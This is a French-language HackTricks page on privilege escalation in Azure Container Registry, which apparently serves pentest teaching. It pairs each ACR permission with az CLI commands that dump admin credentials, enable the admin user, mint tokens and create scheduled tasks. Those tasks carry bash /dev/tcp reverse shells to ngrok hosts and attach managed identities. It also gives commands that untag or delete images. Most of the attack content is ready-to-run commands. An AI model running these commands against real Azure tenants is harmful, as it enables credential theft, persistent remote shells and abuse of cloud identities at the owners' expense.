Az - Azure Container Registry Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Azure Container Registry

Pour plus d’informations, consultez :

Az - Container Registry

Microsoft.ContainerRegistry/registries/listCredentials/action

Cette permission permet à l’utilisateur de lister les identifiants d’administration de l’ACR. Cela est utile pour obtenir un accùs complet au registre.

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"

Dans le cas oĂč les identifiants administratifs ne sont pas activĂ©s, vous aurez Ă©galement besoin de la permission Microsoft.ContainerRegistry/registries/write pour les activer avec :

az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'

Microsoft.ContainerRegistry/registries/tokens/write, Microsoft.ContainerRegistry/registries/generateCredentials/action

Ces permissions permettent Ă  l’utilisateur de crĂ©er un nouveau token avec des mots de passe pour accĂ©der au registre.

Pour utiliser az cli pour le gĂ©nĂ©rer comme dans l’exemple suivant, vous aurez Ă©galement besoin des permissions Microsoft.ContainerRegistry/registries/read, Microsoft.ContainerRegistry/registries/scopeMaps/read, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read, Microsoft.ContainerRegistry/registries/tokens/read

az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin

Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action, Microsoft.ContainerRegistry/registries/scheduleRun/action, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action

Ces permissions permettent Ă  l’utilisateur de construire et exĂ©cuter une image dans le registre. Cela peut ĂȘtre utilisĂ© pour exĂ©cuter du code dans le conteneur.

Warning

Cependant, l’image sera exĂ©cutĂ©e dans un environnement isolĂ© et sans accĂšs au service de mĂ©tadonnĂ©es. Cela signifie que le conteneur n’aura pas accĂšs aux mĂ©tadonnĂ©es de l’instance, donc cela n’est pas vraiment utile pour Ă©lever les privilĂšges.

# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null

Microsoft.ContainerRegistry/registries/tasks/write

C’est la principale autorisation qui permet de crĂ©er et de mettre Ă  jour une tĂąche dans le registre. Cela peut ĂȘtre utilisĂ© pour exĂ©cuter un code Ă  l’intĂ©rieur d’un conteneur avec une identitĂ© gĂ©rĂ©e attachĂ©e Ă  celui-ci dans le conteneur.

Voici un exemple de la façon d’exĂ©cuter un reverse shell dans un conteneur avec l’identitĂ© gĂ©rĂ©e par le systĂšme attachĂ©e Ă  celui-ci :

az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"

Une autre façon d’obtenir un RCE Ă  partir d’une tĂąche sans utiliser un dĂ©pĂŽt externe est d’utiliser la commande az acr task create avec le drapeau --cmd. Cela vous permettra d’exĂ©cuter une commande dans le conteneur. Par exemple, vous pouvez exĂ©cuter un shell inversĂ© avec la commande suivante :

az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity

Tip

Notez que pour attribuer l’identitĂ© gĂ©rĂ©e par le systĂšme, vous n’avez besoin d’aucune autorisation spĂ©ciale, bien qu’elle doive avoir Ă©tĂ© activĂ©e au prĂ©alable dans le registre et avoir reçu certaines autorisations pour ĂȘtre utile.

Pour attribuer une identitĂ© gĂ©rĂ©e par l’utilisateur Ă©galement, vous auriez besoin de l’autorisation Microsoft.ManagedIdentity/userAssignedIdentities/assign/action pour faire :

az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"

Pour mettre Ă  jour le dĂ©pĂŽt d’une tĂąche existante, vous pouvez faire :

az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git

Microsoft.ContainerRegistry/registries/importImage/action

Avec cette autorisation, il est possible d’importer une image dans le registre azure, mĂȘme sans avoir l’image localement. Cependant, notez que vous ne pouvez pas importer une image avec un tag qui existe dĂ©jĂ  dans le registre.

# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import

Pour dĂ©marquer ou supprimer un tag d’image spĂ©cifique du registre, vous pouvez utiliser la commande suivante. Cependant, notez que vous aurez besoin d’un utilisateur ou d’un jeton avec suffisamment de permissions pour le faire :

az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>

az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks